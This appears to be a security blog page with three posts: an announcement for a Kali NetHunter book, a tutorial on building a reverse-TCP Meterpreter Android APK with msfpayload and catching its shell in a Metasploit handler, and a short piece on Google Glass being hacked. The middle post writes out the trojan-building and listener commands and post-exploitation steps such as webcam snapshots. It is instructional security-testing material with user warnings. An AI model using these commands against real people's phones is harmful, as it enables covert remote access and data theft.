“Security Testing with Kali NetHunter” Book Overview

nethunter-front-coverMy latest book, “Security Testing with Kali NetHunter” is out! NetHunter brings the power of Kali Linux to supported Android devices.

In this blog post I will cover a quick overview of the book and why I wrote it. This book is the latest in my “Security Testing with Kali” series. If you like my Basic & Intermediate books, I think you will love this one!

I was working on writing a non-Kali based security book, when a good friend approached me and asked if I would create a 50-page quick guide to Kali NetHunter. Being a huge Kali Linux fan, I set my current writing project aside and immediately began on the NetHunter book.

I soon realized that even with trying to make this a quick coverage guide, 50 pages would not even begin to cover the capabilities of this exceptional platform. The ability to use it with wireless and USB based attacks, along with a complement of the normal Kali Linux tools, really makes NetHunter a robust and feature rich device. Add in the fact that it all runs on a small mobile platform and you really have a winner.

To spend the most book time on usage tutorials, with the thought of new devices and platforms at some point being added to the NetHunter supported list, I start the book from the point of a fully installed NetHunter device. Though, I do give an overview of the install process.

This book uses the exact same lab setup as the other books in my Kali series. So, if you already have the lab setup from these books, you just need to connect your NetHunter device to your wireless router.

The book assumes that you already have a level of comfortability with using Kali Linux and have experience connecting to your mobile device using Linux or Windows. From a difficulty level, I would say that this book would fit between my Basic & Intermediate Kali books.

NetHunter includes a couple Android based security tools and a graphical “NetHunter” menu. The book steps you through the Android based attack tools and then goes through each NetHunter menu item as they appear.

Several menu items have an entire chapter devoted to itself.  With the step-by-step tutorials, you can see how the tools work, many times using the tool against our test lab systems.

Along with the NetHunter menu, more experienced users will probably prefer to use many of the Kali tools directly from the terminal prompt. NetHunter uses a slightly reduced install of Kali Linux. You can however install other Kali Metapackages if you wish.

The book topics include:

  • Kali NetHunter Introduction and Overview
  • Shodan App (the “Hacker’s Google”)
  • Using cSploit & DriveDroid
  • Using NetHunter in Human Interface Device Attacks
  • Man-in-the-Middle Attacks
  • Wi-Fi Attacks
  • Metasploit Payload Generator
  • Using NetHunter with a WiFi Pineapple Nano

For the book tutorials, you will need a supported device with NetHunter installed, a host system to run VMWare images, and a supported USB WiFi adapter (I used a TP-Link TL-WN722N).  If you want to follow through the Pineapple Connector chapter you will also need a Hak5 Pineapple Nano.

If you enjoyed my previous books, I think you will really like this one.

Check it out on Amazon.com

 

 

 

 

 

Advertisements

Getting a Remote Shell on an Android Device using Metasploit

This article was written a while ago and is out of date, check out my new book “Intermediate Security Testing with Kali Linux” to see an in-depth look at getting a remote shell, reading SMS text messages even on a non-rooted phone, pulling data from the internal Android databases, making your own emulated Android devices and much more!  

Metasploit is one of my favorite security tools. What some don’t know is that Metasploit has added some functionality for security testing Android Devices. In this post we will show you how to get a remote shell on an Android by using Metasploit in Kali Linux.

We will do this by creating a “malicious” Android program file, an APK file, so that once it is run, it will connect out to our attacking machine running Metasploit. We will set Metasploit up to listen for the incoming connection and once it sees it, create a fully functional remote shell to the device.

Creating a booby trapped APK file

First up, we need to create the APK that will include a remote shell. To do so, we will use the msfpayload command from Metasploit.

1. In Kali Linux, open a terminal prompt and type:

sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 R > app.apk

Android App

The msfpayload command takes one of the meterpreter payloads and allows you to create a stand alone file with it. You will need to put your Kali Linux IP address in for the LHOST address. You can change the port address also if you would like.

Once this is run, a file called “app.apk” will be created:

List File

2. Now just send this file to your Android device, I used a Smart Phone in this instance.

3. When the file is installing on the Android, it will come up like all apps and show you what capabilities it wants access to on your phone. It lists like every possibility I think, basically total access to the phone. This should be a warning to users that this isn’t an app that they should be running!

Now that the “evil” app is installed, we need to set Metasploit up to listen for incoming connections.

4. In Kali, start Metasploit from the menu or by typing “msfconsole” in a Terminal window.

5. Once Metasploit starts, type in the following to create a listener:

  • user exploit/multi/handler
  • set payload android/meterpreter/reverse_tcp
  • set lhost 192.168.1.16 (enter your Kali IP address)
  • set lport 4444

Then just type exploit to start the handler:

exploit1

6. Run the App on your Android device. It should show up as a big “M” icon with a name something like “Main Activity”.

7. A big button will appear on your phone that says, “ReverseTcp”, when it is pressed, your phone will connect out to the Metasploit system and a remote shell session is created.

On your Metaploit system you should see this:

Reverse TCP session

An active session is created and it drops you automatically into a meterpreter prompt.

8. From here your can type “sysinfo” to get information on the device:

sysinfo

9. You can see the processes running by typing, “ps”:

PS command

You can surf the Android device remotely by using standard Linux commands like ls, pwd, and cd. The Download directory usually has interesting things in it.

Though it errored out on mine, you can type “webcam_list” to get a list of the phone’s web cams, then “webcam_snap” to take a snapshot from the webcam.

Typing “help” at a meterpreter prompt will list all the command that are available.

We can also run the shell command that will drop us into a direct Terminal shell if we want:

meterpreter > shell
Process 1 created.
Channel 1 created.
ls

The Android phone in this example was not rooted, so I could not access the stored passwords, texts or phone logs.

But if the phone was rooted, I should have been able to access them… Remotely…

This should be noted by people who have rooted their phone!

And that is it! One wrong app installed by a user and an attacker could get remote access to your phone or other Android device. Did I mention that the phone was running an Anti-Virus program from a major vendor? It had no problems with letting my remote shell run…

Pay special attention to the rights and capabilities that an app wants when installing new apps. If a game wants full access to your phone, including the ability to make pay phone calls, this should be a red flag.

What’s next with Android support on Meterpreter?

Well, it is not “officially” supported yet, but there is an extension available to Meterpreter that allows several new Android based commands:

Pretty amazing stuff!

Want to learn a lot more about Kali and Metasploit? Check out “Basic Security Testing with Kali Linux“.

Google Glass – Yup it’s Hackable!

Google_Glass

As the way cool Google Glasses roll out to customers, it makes one wonder, what if it could be hacked?

Well, it can!

Early adopters have begun to receive their Google Glasses, the Android based wearable computer, and some couldn’t help but to try to hack it. And hack it they did.

Android and iOS developer Jay Freeman hacked his in just a couple hours, while he ate dinner…

It took me two hours while I was having dinner with friends at the time,Freeman told Forbes.The implementation from B1nary is for normal Android tablets and phones, I learned how it worked and then did the same thing on Glass…which was quite simple.

Being an Android based system, it is susceptible to the same attacks that affect smart phones and tablets.

Sadly, due to the way Glass is currently designed, it is particularly susceptible to the kinds of security issues that tend to plague Android devices,” Freeman wrote on his blog.

The one saving grace of Android’s track record on security is that most of the bugs people find in it cannot be exploited while the device is PIN-code locked. Google’s Glass, however, does not have any kind of PIN mechanism: when you turn it on, it is immediately usable.”

But apparently that was the point, according to a Google developer, the units are shipped so they can be hacked!

Not to bring anybody down… but seriously… we intentionally left the device unlocked so you guys could hack it and do crazy fun shit with it.  I mean, FFS, you paid $1500 for it… go to town on it.  Show me something cool.

That’s cool that they want people to go nuts on these things to find out what really can be done with them. I just have one question. What would a Denial of Service look like on Google Glass?

I mean will people be walking around bumping into things?

Or will the Google Glass user just stand there in a zombie like state with drool dripping down their chin?

Inquiring minds want to know!  🙂